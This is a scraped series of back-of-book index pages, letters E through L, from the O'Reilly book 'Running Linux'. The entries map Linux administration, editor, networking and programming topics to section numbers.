fetchmail package: 16.2.2. Getting the Mail to Your Computer with Fetchmail
installing Elm reader: 16.2.4. Installing Elm
Internet mail feed: 16.2.3. Other Email Administrative Issues
mail queue: 16.2.3.2. Mail system maintenance
Netscape Messenger: 16.2.5. Using Netscape Messenger
sending from Emacs: 9.2.7. Running Commands and Programming Within Emacs
smail package: 16.2.1. The smail Mail Transport Agent
ELF binaries: 7.4.2. Building the Kernel
Elm mailer: 16.2.4. Installing Elm
<em> HTML tag: 16.1.4.1. HTML basics
Emacs editor: 1.5.1. Basic Commands and Utilities
9.2. The Emacs Editor
11.4.7. Emacs
customizing: 9.2.2. Simple Editing Commands
9.2.8. Tailoring Emacs
with gdb: 14.1.6.3. Using Emacs with gdb
as program interface: 14.2.6. Interface Building Tools
emergency troubleshooting: 8.6. What to Do in an Emergency
emulators: 12.2. Sharing Programs
Enhanced IDE/MFM/RLL drive support: 7.4.2. Building the Kernel
/etc directory: 4.16. Important Directories
8.1.1. Simple Backups
/etc/DIR_COLORS files: 4.4.2. Listing Files
/etc/dosemu.conf: 12.2.3. Installing and Configuring Dosemu
/etc/fstab file: 3.2.3. Editing /etc/fstab
6.1.2. Mounting Filesystems
6.1.2. Mounting Filesystems
15.4.1. Configuring NFS
/etc/group file: 5.7.4. The Group File
/etc/hosts file: 15.1.3.3. /etc/hosts
/etc/hosts.conf file: 15.1.3.5. /etc/host.conf
/etc/inetd.conf file: 4.17. Programs That Serve You
/etc/init.d directory: 5.3.3. rc files
/etc/inittab file: 4.17. Programs That Serve You
5.3.2. init, inittab, and rc files
5.3.2. init, inittab, and rc files
15.1.3.2. The networking rc files
/etc/ld.so.cache: 7.2.1. Upgrading Libraries
/etc/ld.so.conf: 7.2.1. Upgrading Libraries
/etc/lilo.conf file: 5.2.2.1. The /etc/lilo.conf file
/etc/lptest file: 8.4.1. Checking Printer Hardware
/etc/networks file: 15.1.3.4. /etc/networks
/etc/passwd file: 3.2.1. Creating a User Account
5.7.1. The passwd File
8.6.2. Accessing Damaged Files
/etc/printcap file: 8.4. Managing Print Services
8.4.5. Setting Up the Printcap File
8.4.14. Printer System Troubleshooting
9.5. Printing
9.5.1. What Happens to a File After It's Put on the Queue
12.1.3.2. Configuring Samba
/etc/rc.d directory: 5.3.3. rc files
/etc/rc.d/init.d directory: 5.3.3. rc files
/etc/rc.d/rc script: 5.3.2. init, inittab, and rc files
5.3.3. rc files
/etc/rc.d/rc.local file: 5.3.3. rc files
/etc/rc.d/rc.sprint file: 5.3.2. init, inittab, and rc files
/etc/rc.d/rc.sysinit program: 5.5. Shutting Down the System
/etc/resolv.conf file: 15.1.3.6. /etc/resolv.conf
15.2.1.3. Setting up PPP
/etc/services file: 16.2.1.6. Final smail installation notes
/etc/shadow file: 3.2.1. Creating a User Account
5.7.2. Shadow Passwords
/etc/skel directory: 3.2.1. Creating a User Account
4.16. Important Directories
5.7.5. Creating Accounts
/etc/smb.conf file: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
12.1.3.1. Installing Samba
/etc/syslog.conf file: 8.3. Managing System Logs
/etc/syslogd.conf file: 15.1.3.2. The networking rc files
/etc/yp.conf file: 15.4.2. Configuring NIS
ether= parameter (linux): 3.1.1. Booting Linux
Ethernet cards: 1.5.7. Networking
1.5.7. Networking
1.9.7. Ethernet, Fast Ethernet, and Gigabit Ethernet Cards
3.1.1. Booting Linux
15.1.2. Hardware Requirements
15.1.3. Configuring TCP/IP with Ethernet
15.1.3.8. Trying out your network
troubleshooting: 15.1.3.8. Trying out your network
Ewing, Mark: B.2. A Brief History of the GNOME Project
ex mode (vi): 9.1.6. Saving Files and Quitting vi
executables: 1.4.3. Kernel
execute permissions (see permissions)
extended partitions: 2.2.2. Repartitioning Concepts
ext2fs filesystems: 3.1.5. Creating the Filesystems

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F (Running Linux)

CGI Programming with PerlSearch this book

Index: F

FAQ, Linux: A.1. Online Documents
1.10.1. Online Documents
Fast Ethernet cards: 1.9.7. Ethernet, Fast Ethernet, and Gigabit Ethernet Cards
FAT filesystems/partitions: 12.1. Sharing Files
fax devices: 8.4.4. Checking Print Utilities
FBDev server: 10.2. Hardware Requirements
f2c translator: 13.7. Other Languages
fd# files: 3.1.2. Drives and Partitions Under Linux
8.1.1.2. Backing up to floppy
fdisk utility: D.3.1. Getting the Mac Ready for Linux
2.2.4. Repartitioning Your Drives
3.1.3. Creating Linux Partitions
3.3.4.2. Problems booting Linux from the hard drive
5.2.2.2. Using LILO as a secondary boot loader
fetchmail package: 16.2.2. Getting the Mail to Your Computer with Fetchmail
fg command: 4.11. Putting a Command in the Background
-fg option: 11.1.1. xinit
filename expansion: 4.7.1. Word Completion
4.8. Filename Expansion
files
appending to: 4.9. Saving Your Output
archiving (see archiving files)
backup: 8.1. Making Backups
8.6. What to Do in an Emergency
compressing (see compression)
corrupted: 8.6.2. Accessing Damaged Files
device: 6.3. Device Files
.dvi: 9.3.1.2. Formatting and printing
"File not found" error: 3.3.1. Problems with Booting the Installation Media
3.3.3. Problems Installing the Software
hidden: 4.4.2. Listing Files
HTML: 16.1.4. Writing HTML Documents
listing: 4.4.2. Listing Files
locking (Elm): 16.2.4.1. Preparing for installation
locking (lpc): 8.4.12. Controlling Printer Services with lpc
overwriting: 4.9. Saving Your Output
8.1. Making Backups
ownership (see permissions)
patching: 14.2.9. Patching Files
permissions for (see permissions)
.rc files: 5.3.3. rc files
restoring from backup: 8.6.3. Restoring Files from Backup
revision control
CVS utility: 14.2.8. Revision Control Tools--CVS
RCS: 14. Tools for Programmers
RCS utility: 14.2.7. Revision Control Tools--RCS
saving within vi: 9.1.6. Saving Files and Quitting vi
sharing between Windows and Linux: 12.1. Sharing Files
accessing Linux files: 12.1.3. Using Samba to Serve SMB Shares
accessing Windows files: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
file translation utilities: 12.1.5. File Translation Utilities
start-up: 4.15. Startup Files
swap partitions: 2.2.3. Linux Partition Requirements
symbolic links between: 4.4.4. Symbolic Links
Windows, case sensitivity: 12.1.3.2. Configuring Samba
filesystems/partitions (see partitions/filesystems)
filters, printing: 8.4.5.3. The rest of the printcap variables
8.4.7. Print Filters
9.5.1. What Happens to a File After It's Put on the Queue
magic: 8.4.9. Magic Filters: APSfilter and Alternatives
find command: 8.1.2. Incremental Backups
finish command (gdb): 14.1.1. Tracing a Program
FIPS: 2.2.4. Repartitioning Your Drives
firmware on Alpha systems: C.3.1. Limitations of ARC Firmware
C.5.3. Firmware/BIOS Peripheral Device Support
fix-table option (LILO): G.1. Global Options
floppy disks: 6.1.2. Mounting Filesystems
7.4.2. Building the Kernel
backing up to: 8.1.1.2. Backing up to floppy
filesystems on: 6.1.4. Creating Filesystems
floppy= parameter (linux): 3.1.1. Booting Linux
FMU (flash-RAM management utility): C.3. Identifying Your Alpha System
-fn option: 11.1.1. xinit
focus (X windows): 11.2.1. Configuring fvwm
font resource: 11.1.2. The X Resource Database
fonts: 1.5.2. Text Processing and Word Processing
font-lock mode (Emacs): 11.4.7. Emacs
fvwm and: 11.2.1. Configuring fvwm
xterm and: 11.4.5. Choosing Fonts
force-backup= option (LILO): G.1. Global Options
foreground color (Emacs): 11.4.7. Emacs
foreground resource: 11.1.2. The X Resource Database
forking: 4.18. Processes
<form> HTML tag: 16.1.5.1. The HTML form document
format
filesystem (see mkfs command)
fvwm pop-up menus: 11.2.2. More Customizations
improper: 3.3.3. Problems Installing the Software
indenting code: 14.2.10. Indenting Code
manual pages: 9.3.2.2. Formatting and installing the manual page
printcap file: 8.4.5.1. Printcap file format rules
tape drives: 8.1.1.1. Backing up to tape
TeX and: 9.3.1.2. Formatting and printing
Texinfo: 9.3.3.2. Formatting Texinfo
text in HTML: 16.1.4.6. More HTML features
formatting languages: 1.5.2. Text Processing and Word Processing
forms, HTML: 16.1.5. Building Interactive Forms
FORTRAN language: 13.7. Other Languages
Forward button (Netscape): 16.1.1. Using Netscape Navigator
-fpic switch (gcc): 13.1.7.1. Creating shared libraries
FPU instructions: 1.4.3. Kernel
framebuffer device: 10.2. Hardware Requirements
frames (Emacs): 11.4.7. Emacs
free command: 5.6. The /proc filesystem
6.2. Managing Swap Space
Free Software Foundation (see FSF)
FreeBSD: A.4. General Software FTP Sites
1.8.4. Other Implementations of Unix
Freshmeat: 1.5.10. Other Applications
fsck program: 6.1.5. Checking and Repairing Filesystems
8.6.1. Repairing Filesystems
FSF (Free Software Foundation): 1.2. A Brief History of Linux
1.6. About Linux's Copyright
FTP site: A.4. General Software FTP Sites
HURD: 1.8.4. Other Implementations of Unix
fstab file: 3.2.3. Editing /etc/fstab
6.1.2. Mounting Filesystems
6.1.2. Mounting Filesystems
15.4.1. Configuring NFS
ftape driver: 7.5. Loadable Device Drivers
FTP (File Transfer Protocol): 3.3.3. Problems Installing the Software
AlphaLinux reference sites: C.4.1.3. AlphaLinux FTP sites
documentation via: A.1. Online Documents
1.10.1. Online Documents
Linux via: 2.1.2. Getting Linux from the Internet
obtaining Dosemu via: 12.2.2. Getting Dosemu and xdos
RZSZ via: H.1. Getting RZSZ
smail via: 16.2.1.1. Getting and installing smail
software sites: A.4. General Software FTP Sites
via World Wide Web: 16.1. The World Wide Web
XFree86 via: 10.3. Installing XFree86
Fundamental mode (Emacs): 9.2.1. Firing It Up
Future Domain SCSI interfaces: 3.1.1. Booting Linux
fvwm2 window manager: 1.5.5. The X Window System
11.1.1. xinit

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G (Running Linux)

CGI Programming with PerlSearch this book

Index: G

g++ shell script: 13.1.8. Using C++
games: 1.5.10. Other Applications
garbage collector/detector: 14.2.5. Using Checker
gateways: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
gcc (GNU C compiler): 1.5.4. Programming Languages and Utilities
13.1. Programming with gcc
14.1.1. Tracing a Program
shared libraries: 13.1.7.1. Creating shared libraries
upgrading: 7.2.2. Upgrading the Compiler
gdb (GNU debugger): 13.1.2. gcc Features
14.1. Debugging with gdb
Emacs with: 9.2.7. Running Commands and Programming Within Emacs
14.1.6.3. Using Emacs with gdb
shared libraries and: 13.1.7.1. Creating shared libraries
geometry, hard drive: 3.1.1. Booting Linux
3.3.2.2. Problems recognizing hard drive or controller
3.3.3. Problems Installing the Software
5.2.2.3. Specifying boot time options
-geometry option: 11.1.1. xinit
geometry resource: 11.1.2. The X Resource Database
GET method: 16.1.5.1. The HTML form document
getline library: 14.2.6. Interface Building Tools
getty program: 4.18. Processes
5.3.3. rc files
Ghostscript: 8.4.3. Choosing Printer Software
8.4.6. Configuring Ghostscript
Ghostview utility: 11.4.8. Ghostview: Displaying PostScript
GIDs (group IDs), NFS, NIS and: 15.4.1. Configuring NFS
GIMP application: B.2. A Brief History of the GNOME Project
B.4. Some GNOME Applications
9.4.2. The GIMP
GIMP Toolkit (GTK): 13.4.2. More Features
14.2.6. Interface Building Tools
Glade utility: B.5.3. Programming Tools
glibc2 library: 7.2.1. Upgrading Libraries
globbing: 4.8. Filename Expansion
GNAT interpreter: 13.7. Other Languages
GNOME project: B.1. What Is GNOME?
1.5.6. KDE and GNOME
11. Customizing Your X Environment
applications for: B.4. Some GNOME Applications
as development platform: B.5. GNOME as a Development Platform
elements of: B.1.2. The Role of GNOME
GNOME-print model: B.5.4. The GNOME Printing Architecture
history of: B.2. A Brief History of the GNOME Project
obtaining and installing: B.6. Getting and Installing GNOME
GNU debugger (see gdb)
GNU Emacs text editor: 9.2. The Emacs Editor
GNU General Public License: 1.6. About Linux's Copyright
GNU getline library: 14.2.6. Interface Building Tools
GNU utilities: 1.2. A Brief History of Linux
1.5.1. Basic Commands and Utilities
Gnumeric application: B.4. Some GNOME Applications
GNUS reader: 9.2.7. Running Commands and Programming Within Emacs
GoldStar CD-ROM interfaces: 3.1.1. Booting Linux
GPL (General Public License): 1.6. About Linux's Copyright
gprof utility: 1.5.4. Programming Languages and Utilities
14.2.2. Profiling and Performance Tools
gradient background colors (KDE): 11.3.2. Using KDE
graphical browsers on AlphaLinux: C.7.4. Graphical Browser Considerations
graphics: 9.4. Graphics
engines for GNOME: B.5.1.4. The Canvas/Libart engines
GIMP application: 9.4.2. The GIMP
ImageMagick package: 8.4.4. Checking Print Utilities
9.4. Graphics
9.4.1. ImageMagick
inline images: 16.1.4.5. Embedded images
Linux/SPARC and: F.3.1. Graphics and X
POVRAY program: 9.4.3. POVRAY
greater than (>): 4.9. Saving Your Output
in HTML: 16.1.4.6. More HTML features
groff: 1.5.2. Text Processing and Word Processing
9.3.2. groff
9.5. Printing
group file: 5.7.4. The Group File
group ID: 5.7.1. The passwd File
5.7.4. The Group File
groupmod command: 5.7.7. Modifying User Accounts
groups: 4.13.2. Owners and Groups
5.7.4. The Group File
5.7.4. The Group File
(see also users)
groups command: 5.7.4. The Group File
gscd= parameter (linux): 3.1.1. Booting Linux
GTK (GIMP Toolkit): 13.4.2. More Features
14.2.6. Interface Building Tools
Gtk module (Perl): 13.4.2. More Features
GTK+ toolkit: B.5.1.1. GTK+ (GIMP toolkit)
guest access to Windows services: 12.1.3.2. Configuring Samba
GUILE: B.2. A Brief History of the GNOME Project
GUIs, X Window System and: 1.5.5. The X Window System
gunzip utility: 7.1.1. Using gzip and bzip2
7.1.3. Using tar with gzip
7.1.3. Using tar with gzip
(see also gzip utility)
Guppi application: B.4. Some GNOME Applications
gzip utility: 7.1.1. Using gzip and bzip2
8.1.1.2. Backing up to floppy
8.1.1.3. To gzip, or not to gzip?
8.6.3. Restoring Files from Backup
errors: 3.3.3. Problems Installing the Software
tar utility with: 7.1.3. Using tar with gzip

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H (Running Linux)

CGI Programming with PerlSearch this book

Index: H

<h#> HTML tags: 16.1.4.1. HTML basics
hacking support: 7.4.2. Building the Kernel
handshaking (PPP): 15.2.1.3. Setting up PPP
hard drives: 2.2.2. Repartitioning Concepts
(see also disk space)
booting Linux from: 3.3.4.2. Problems booting Linux from the hard drive
5.2.2. Using LILO
controller requirements: 1.9.3. Hard Drive Controller Requirements
"Drive not bootable" error: 3.3.4.2. Problems booting Linux from the hard drive
errors: 3.3.3. Problems Installing the Software
geometry of: 3.3.2.2. Problems recognizing hard drive or controller
3.3.3. Problems Installing the Software
5.2.2.3. Specifying boot time options
Linux requirements: 1.9.4. Hard Drive Space Requirements
partitions: 2.2.2. Repartitioning Concepts
Linux requirements: 2.2.3. Linux Partition Requirements
LinuxPPC: D.3.2. Partitioning the Hard Disk
repartitioning: 2.2.4. Repartitioning Your Drives
hardware
Alpha systems: C.6.2. Preparing Hardware for Installation
requirements: C.5.1. Minimum Hardware
resources on: C.4. Collecting System Hardware Information
booting Linux/m86k: E.4.1. Booting Linux
building kernel and: 7.4.2. Building the Kernel
detection parameters: 3.1.1. Booting Linux
drive controllers: 1.9.3. Hard Drive Controller Requirements
fax devices: 8.4.4. Checking Print Utilities
hardware groups: 5.7.4. The Group File
incompatibility: 3.3.1. Problems with Booting the Installation Media
ISDN, configuring: 15.3.1. Configuring Your ISDN Hardware
Linux PPC concerns: D.6. Getting Hardware to Do What You Want It to Do
Linux requirements: 1.9. Hardware Requirements
Linux/m86k: E.2. Supported Hardware
LinuxPPC: D.1. Compatible Hardware
mice: 1.9.6.1. Mice and other pointing devices
modems: 1.9.6.5. Modems
monitors and video adapters: 1.9.5. Monitor and Video Adapter Requirements
printers: 1.9.6.4. Printers
8.4.1. Checking Printer Hardware
8.4.13. Printer Optimization
Sun SPARC systems: F.1. Supported Hardware
tape drives: 8.1.1.1. Backing up to tape
troubleshooting: 3.3.2. Hardware Problems
undetected during book: 5.2.2.3. Specifying boot time options
X Window System requirements: 10.2. Hardware Requirements
hash mark (#): 3.2.3. Editing /etc/fstab
13.2.2. Some Syntax Rules
as root prompt: 5.1. Running the System
hd= parameter (linux): 3.1.1. Booting Linux
3.3.3. Problems Installing the Software
hda# files: 3.1.2. Drives and Partitions Under Linux
header, Texinfo: 9.3.3.1. Writing the Texinfo source
headings, HTML: 16.1.4.1. HTML basics
heads= option (LILO): G.1. Global Options
help: 0.1. Why People Like Linux
1.11. Getting Help
Emacs: 9.2.3. Tutorial and Online Help
lpc: 8.4.12. Controlling Printer Services with lpc
online help: 3.2.2. Getting Online Help
hidden files: 4.4.2. Listing Files
hidden form elements: 16.1.5.1. The HTML form document
High Sierra Filesystem: 6.1.1. Filesystem Types
HiSax driver: 15.3.1. Configuring Your ISDN Hardware
history, command: 4.7.2. Moving Around Among Commands
history of Linux: 0. Preface
1.2. A Brief History of Linux
HLT instruction: 3.1.1. Booting Linux
/home directory: 4.4.1. Directories
8.1.1. Simple Backups
horizontal rule in HTML: 16.1.4.6. More HTML features
host address: 15.1.1. TCP/IP Concepts
hostname command: 15.1.3.7. Setting your hostname
hostnames: 16.2.4.1. Preparing for installation
setting: 15.1.3.7. Setting your hostname
SMB protocol: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
hosts file: 15.1.3.3. /etc/hosts
hosts.conf file: 15.1.3.5. /etc/host.conf
HOWTO documents, Linux: A.1. Online Documents
1.10.1. Online Documents
HPFS filesystem: 6.1.1. Filesystem Types
<hr> HTML tag: 16.1.4.6. More HTML features
hsfs filesystem: 6.1.1. Filesystem Types
HTML (Hypertext Markup Language): 1.5.2. Text Processing and Word Processing
documents: 16.1.4. Writing HTML Documents
forms: 16.1.5. Building Interactive Forms
htools package: 1.5.9. Interfacing with Windows and MS-DOS
httpd daemon: 16.1.3. Configuring Your Own WWW Server
httpd.conf file: 16.1.3.1. httpd.conf
hung system: 3.3.1. Problems with Booting the Installation Media
HURD project: 1.8.4. Other Implementations of Unix
hyperlinks (see links, Web)
hyphen (-): 13.2.5. Multiple Commands
Unix command options: 4.4.2. Listing Files

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I (Running Linux)

CGI Programming with PerlSearch this book

Index: I

<i> HTML tag: 16.1.4.6. More HTML features
IconFont command (fvwm): 11.2.1. Configuring fvwm
IconPath command (fvwm): 11.2.1. Configuring fvwm
icons for Web documents: 16.1.3.2. srm.conf
IDE drives,
Alpha system support: C.5.2. IDE/ATAPI Drive Support
identify utility (ImageMagick): 9.4.1. ImageMagick
if variable (printcap): 8.4.5.3. The rest of the printcap variables
ifconfig command: 15.1.3.2. The networking rc files
15.1.3.8. Trying out your network
ignore-table option (LILO): G.1. Global Options
/Image file: 5.2.1. Using a Boot Floppy
image= option (LILO): G.2. Image Options
ImageMagick package: 8.4.4. Checking Print Utilities
9.4. Graphics
9.4.1. ImageMagick
images (see graphics)
imake program: 14.2.4. make and imake
<img> HTML tag: 16.1.4.5. Embedded images
Imlib library: B.5.1.2. Imlib
import utility (ImageMagick): 9.4.1. ImageMagick
inaccessible= option (LILO): G.1. Global Options
include directory: 4.16. Important Directories
include path: 13.1.7. More Fun with Libraries
including files in vi: 9.1.8. Including Other Files
incompatible hardware: 3.3.1. Problems with Booting the Installation Media
3.3.2. Hardware Problems
3.3.2. Hardware Problems
incremental
backups: 8.1. Making Backups
8.1.2. Incremental Backups
search: 9.2.5. Searching and Replacing
indent program: 14.2.10. Indenting Code
Indented Text mode (Emacs): 9.2.8. Tailoring Emacs
indenting code: 14.2.10. Indenting Code
indexing, Texinfo: 9.3.3.1. Writing the Texinfo source
inetd daemon: 15.1.3.2. The networking rc files
starting Sambda daemons: 12.1.3.3. Starting Samba
inetd.conf file: 4.17. Programs That Serve You
info command (gdb): 14.1.5. Getting Information
Info pages (GNU project programs): 4.12. Manual Pages
9.2.3. Tutorial and Online Help
info program: 4.12. Manual Pages
9.2.3. Tutorial and Online Help
INFO-SHEET, Linux: A.1. Online Documents
init command: 5.3.2. init, inittab, and rc files
15.1.3.2. The networking rc files
initrd= option: G.3. Kernel Options
inittab file: 4.17. Programs That Serve You
5.3.2. init, inittab, and rc files
5.3.2. init, inittab, and rc files
15.1.3.2. The networking rc files
inline images: 16.1.4.5. Embedded images
<input> HTML tag: 16.1.5.1. The HTML form document
inserting text (vi editor): 9.1.2. Inserting Text and Moving Around
insmod command: 7.5. Loadable Device Drivers
8.6.3. Restoring Files from Backup
install= option (LILO): G.1. Global Options
installing
BootX software: D.3.3. Installing BootX
device drivers: 7.5. Loadable Device Drivers
Dosemu: 12.2.3. Installing and Configuring Dosemu
Elm reader: 16.2.4. Installing Elm
GNOME: B.6. Getting and Installing GNOME
KDE: 11.3.1. Installing KDE
LILO: 3.1.7. Creating the Boot Floppy or Installing LILO
Linux (see installing Linux)
manual pages: 9.3.2.2. Formatting and installing the manual page
new kernel: 7.4. Building a New Kernel
RPM for: 7.3. Using RPM
Samba: 12.1.3.1. Installing Samba
Samba package: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
smail package: 16.2.1. The smail Mail Transport Agent
software: 3.1.6. Installing the Software
troubleshooting: 3.3.3. Problems Installing the Software
upgrading vs. reinstalling: 7.2. Upgrading Software
XFree86: 10.3. Installing XFree86
installing Linux: 1.7.1. Hints for Unix Novices
2.2. Preparing to Install Linux
3.1. Installing the Linux Software
Alpha systems: C.3. Identifying Your Alpha System
C.3. Identifying Your Alpha System
C.6. Installing Linux
preparing to install: C.5. Preparing for Installation of Linux Alpha
hardware concerns
preparing to boot: D.6. Getting Hardware to Do What You Want It to Do
Motorola 68000-series systems: E. Installing Linux/m68k on Motorola 68000-Series Systems
booting Linux/m68k: E.4.1. Booting Linux
hardware: E.2. Supported Hardware
partitions and filesystems: E.4.2. Partitioning and Filesystems
X Window System: E.4.3. The X Window System
PowerPC computers: D. LinuxPPC: Installing Linux on PowerPC Computers
kernel and library concerns: D.2. Kernel and Library Issues
preparing to boot: D.3. Preparing to Boot LinuxPPC
Red Hat Installer
preparing to boot: D.4. Using the Red Hat Installer
Sun SPARC systems: F. Installing Linux on Sun SPARC Systems
differences from Intel intallations: F.3. Installation Differences from Intel
hardware: F.1. Supported Hardware
installing from serial console: F.4. Installation from a Serial Console
SILO bootloader: F.3.2. The SILO Boot Loader
system libraries: F.2. System Libraries
tasks immediately after: 3.2. Post-Installation Procedures
troubleshooting: 3.3. Running Into Trouble
instruction-level debugging: 14.1.6.2. Instruction-level debugging
insufficient memory errors: 3.3.3. Problems Installing the Software
interactive HTML forms: 16.1.5. Building Interactive Forms
interface building tools: 14.2.6. Interface Building Tools
internationalization of KDE desktop: 11.3.2. Using KDE
Internet
CVS utility over: 14.2.8.3. CVS over the Internet
domain name, registering: 16.2.3.1. Registering an address
mail feed: 16.2.3. Other Email Administrative Issues
obtaining Linux from: 2.1.2. Getting Linux from the Internet
2.1.3. Getting Linux from Other Online Sources
Protocol (see IP)
WWW (see World Wide Web)
interrupts file (/proc): 5.6. The /proc filesystem
I/O
addresses: 3.3.2.1. Isolating hardware problems
checking addresses with /proc/ioports: 5.6. The /proc filesystem
memory-mapped: 3.3.2.3. Problems with SCSI controllers and devices
ioports file: 5.6. The /proc filesystem
IP (Internet Protocol): 15.1.1. TCP/IP Concepts
15.1.1. TCP/IP Concepts
15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
IPC (interprocess communication): B.5.2. The Common Object Request Broker Architecture (CORBA)
IPC, System V: 12.2.3. Installing and Configuring Dosemu
ipppd daemon: 15.3.2. Setting Up Synchronous PPP
IRQ (interrupt request line): 3.3.2.1. Isolating hardware problems
ISDN, PPP over: 15.3. PPP over ISDN
configuring ISDN hardware: 15.3.1. Configuring Your ISDN Hardware
synchronous PPP: 15.3.2. Setting Up Synchronous PPP
troubleshooting: 15.3.3. And If It Does Not Work?
ISDN subsystem: 7.4.2. Building the Kernel
ISO 9660 filesystem: 6.1.1. Filesystem Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J (Running Linux)

CGI Programming with PerlSearch this book

Index: J

Java interpreter: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
Java language: 1.5.4. Programming Languages and Utilities
13. Programming Languages
13.6. Java
AWT (Abstract Window Toolkit): 13.6.3. A Working Example of Java
JVM (Java Virtual Machine): 13.6.1. The Promise of Java, or Why You Might Want to Use Java
obtaining for Linux (JDK): 13.6.2. Getting Java for Linux
javac (Java compiler): 13.6.2. Getting Java for Linux
13.6.3. A Working Example of Java
JDK (Java Developers Kit): 13.6.2. Getting Java for Linux
JIT (Just-in-Time) compilers: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
job control: 4.11. Putting a Command in the Background
cron utility for: 8.2. Scheduling Jobs Using cron
Joliet filesystem: 6.1.1. Filesystem Types
jump tables: 13.1.1. Quick Overview
Just-in-Time (JIT) compilers: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
JVM (Java Virtual Machine): 13.6.1. The Promise of Java, or Why You Might Want to Use Java

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K (Running Linux)

CGI Programming with PerlSearch this book

Index: K

K Desktop Environment (see KDE)
K menu: 11.3.2. Using KDE
<kbd> HTML tag: 16.1.4.6. More HTML features
kdbg debugger: 14.2.1. Debuggers
KDE (K Desktop Environment): B.2. A Brief History of the GNOME Project
1.5.6. KDE and GNOME
11. Customizing Your X Environment
11.3. The K Desktop Environment
Alpha systems: C.7.4. Graphical Browser Considerations
configuring desktop: 11.3.2. Using KDE
help system (kdehelp): 11.4.9. xman: A Point-and-Click Interface to Manual Pages
installing: 11.3.1. Installing KDE
kghostview utility: 11.4.8. Ghostview: Displaying PostScript
kwm window manager: 11.3. The K Desktop Environment
kdeadmin package: 11.3.1. Installing KDE
kdebase package: 11.3.1. Installing KDE
kdegames package: 11.3.1. Installing KDE
kdegraphics package: 11.3.1. Installing KDE
kdehelp system: 11.4.9. xman: A Point-and-Click Interface to Manual Pages
kdelibs package: 11.3.1. Installing KDE
.kdelink file: 11.3.2. Using KDE
kdemultimedia package: 11.3.1. Installing KDE
kdenetwork package: 11.3.1. Installing KDE
kdesupport package: 11.3.1. Installing KDE
kdeutils package: 11.3.1. Installing KDE
keepalive value (Samba): 12.1.3.2. Configuring Samba
kernel: 1. Introduction to Linux
1.2. A Brief History of Linux
1.4.3. Kernel
backing up: 8.1.1. Simple Backups
boot messages: 5.3.1. Kernel Boot Messages
building: 7.4.2. Building the Kernel
hardware and: 7.4.2. Building the Kernel
IRQ configuration: 3.3.2.1. Isolating hardware problems
LILO option: G.3. Kernel Options
loadable device drivers: 7.5. Loadable Device Drivers
loading onto Alpha system: C.6.4. Loading Milo and the Linux Boot Kernel
obtaining by FTP: A.4. General Software FTP Sites
obtaining sources for: 7.4.1. Obtaining Kernel Sources
panic message: 5.2.1. Using a Boot Floppy
patches for: 7.4.1. Obtaining Kernel Sources
7.4.1.2. Applying patches
PowerPC installations: D.2. Kernel and Library Issues
rebuilding: 7.4. Building a New Kernel
tuning on Alpha systems: C.7.1. Kernel Tuning
version numbers: 1.4.1. A Note on Linux Version Numbers
7.4. Building a New Kernel
kernel modules: 3.1.1. Booting Linux
"kernel too big" error: 7.4.2. Building the Kernel
kerneld daemon: 7.6. Loading Modules Automatically
keyboard shortcuts: 4.6. Useful Keys and How to Get Them to Work
4.8. Filename Expansion
fvwm bindings: 11.2.2. More Customizations
key bindings: 9.2.8. Tailoring Emacs
keyword strings: 14.2.7. Revision Control Tools--RCS
kfm browser: 16.1.1. Using Netscape Navigator
kghostview utility: 11.4.8. Ghostview: Displaying PostScript
kill command: 4.11. Putting a Command in the Background
4.18. Processes
kill ring: 9.2.4. Deleting, Copying, and Moving Text
11.4.7. Emacs
Kimball, Spencer: B.2. A Brief History of the GNOME Project
KLyX package: 9.3.4. Word Processors
korganizer package: 11.3.1. Installing KDE
ksh (Korn shell): 4.5. Shells
kwm window manager: 11.3. The K Desktop Environment

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L (Running Linux)

CGI Programming with PerlSearch this book

Index: L

label= option (LILO): G.2. Image Options
LAN (local area network): 15.1. Networking with TCP/IP
NFS and NIS: 15.4. NFS and NIS Configuration
language for KDE: 11.3.2. Using KDE
languages (see programming languages)
lastlog file: 8.3. Managing System Logs
LaTeX: 9.3.1.1. Learning the ropes
9.3.1.1. Learning the ropes
(see also TeX)
ldconfig command: 7.2.1. Upgrading Libraries
7.2.1. Upgrading Libraries
ldd utility: 7.2.1. Upgrading Libraries
13.1.7.1. Creating shared libraries
LDP (Linux Documentation Project): A. Sources of Linux Information
A.2. Linux Documentation Project Manuals
0.1. Why People Like Linux
0.1. Why People Like Linux
1.10.2. Books and Other Published Works
ld.so.cache file: 7.2.1. Upgrading Libraries
ld.so.conf file: 7.2.1. Upgrading Libraries
less command: 4.4.3. Viewing Files, More or Less
less than (<): 4.9. Saving Your Output
in HTML: 16.1.4.6. More HTML features
